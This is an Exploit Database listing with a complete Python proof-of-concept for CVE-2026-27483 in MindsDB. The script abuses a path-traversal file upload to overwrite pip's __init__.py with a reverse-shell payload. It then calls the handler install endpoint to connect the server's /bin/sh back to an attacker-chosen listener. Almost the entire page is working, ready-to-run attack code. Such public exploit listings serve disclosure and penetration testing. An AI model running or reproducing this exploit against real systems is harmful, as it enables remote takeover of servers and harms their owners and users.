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Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING MindsDB 25.9.1.1 - Path Traversal EDB-ID: 52547 CVE: 2026-27483 EDB Verified: Author: THEWHITEH4T Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-04 Vulnerable App: # Exploit Title: MindsDB 25.9.1.1 - Path Traversal # Date: 06-03-2026 # Exploit Author: Lohitya Pushkar (thewhiteh4t) # Vendor Homepage: https://mindsdb.com/ # Software Link: https://github.com/mindsdb/mindsdb # Version: < 25.9.1.1 # Tested on: Arch Linux # CVE : CVE-2026-27483 # Original Advisory: https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq # Vulnerability Discovery: XlabAITeam import argparse import random import re import string import sys import requests from packaging.version import Version PIP_PATH = "../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py" HANDLER = "anomaly_detection" # query /api/handlers/ -> not installed handlers BANNER = """ ------------------------------------- --- CVE-2026-27483 ------------------ --- MindsDB Path Traversal to RCE --- ------------------------------------- [>] Found By : XlabAITeam [>] PoC By : Lohitya Pushkar (thewhiteh4t) """ try: parser = argparse.ArgumentParser() parser.add_argument("-rh", default="127.0.0.1", help="Target host") parser.add_argument("-rp", default="47334", help="Target port") parser.add_argument("-lh", help="Listener host") parser.add_argument("-lp", default="4444", help="Listener port") parser.add_argument("-u", help="Username") parser.add_argument("-p", help="Password") args = parser.parse_args() rhost = args.rh rport = args.rp lhost = args.lh lport = args.lp user = args.u pswd = args.p base_url = f"http://{rhost}:{rport}" print(BANNER) print(f"[>] Target : {base_url}") print(f"[>] LHOST : {lhost}") print(f"[>] LPORT : {lport}\n") def login(username, password): r = requests.post( f"{base_url}/api/login", json={"username": username, "password": password} ) if r.status_code == 200 and "token" in r.text: token = r.json().get("token") print("[+] Login successful!") return token print("[!] Login failed : ", r.status_code) print(f"---\n{r.text}\n---") return None print("[*] Checking status...\n") r = requests.get(f"{base_url}/api/status") if r.status_code != 200: print("[-] Status code :", r.status_code) print(f"---\n{r.text}\n---") sys.exit() status_json = r.json() ver = status_json["mindsdb_version"] auth = status_json["auth"]["http_auth_enabled"] print(f"[*] MindsDB Version : {ver}") auth_headers = {} ver_clean = Version(re.sub(r"[a-zA-Z].*$", "", ver)) if ver_clean < Version("25.4.1.0"): print( f"[!] Version {ver} < 25.4.1.0 — may use Python 3.8/3.9, PoC targets 3.10, manually edit PIP_PATH and try again." ) sys.exit(0) if ver_clean >= Version("25.9.1.1"): print(f"[!] Version {ver} is patched (>= 25.9.1.1). Aborting.") sys.exit(0) if auth: if not user or not pswd: print("[!] Auth is enabled. Provide --username and --password.") sys.exit() token = login(user, pswd) if not token: sys.exit() auth_headers = {"Authorization": f"Bearer {token}"} else: print("[*] Auth disabled — proceeding unauthenticated") shell_pl = f'''#!/usr/bin/env python3 import os,pty,socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("{lhost.strip()}",{lport.strip()})) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh") '''.replace("\n", "\r\n") fname = "".join(random.choices(string.ascii_lowercase, k=8)) payload = {"name": fname, "source": fname, "source_type": "file"} infile = {"file": (PIP_PATH, shell_pl, "text/plain")} print("[*] Uploading payload :", fname) pr = requests.put( f"{base_url}/api/files/{fname}", data=payload, files=infile, headers=auth_headers, ) if pr.status_code == 400: print("[+] Payload uploaded!") else: print("[-] Payload upload request :", pr.status_code) print(f"---\n{pr.text}\n---") sys.exit() print("[*] Triggering payload...") r = requests.post( f"{base_url}/api/handlers/{HANDLER}/install", json={}, headers=auth_headers ) except Exception as exc: print("[-] Exception :", exc) except KeyboardInterrupt: sys.exit() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. 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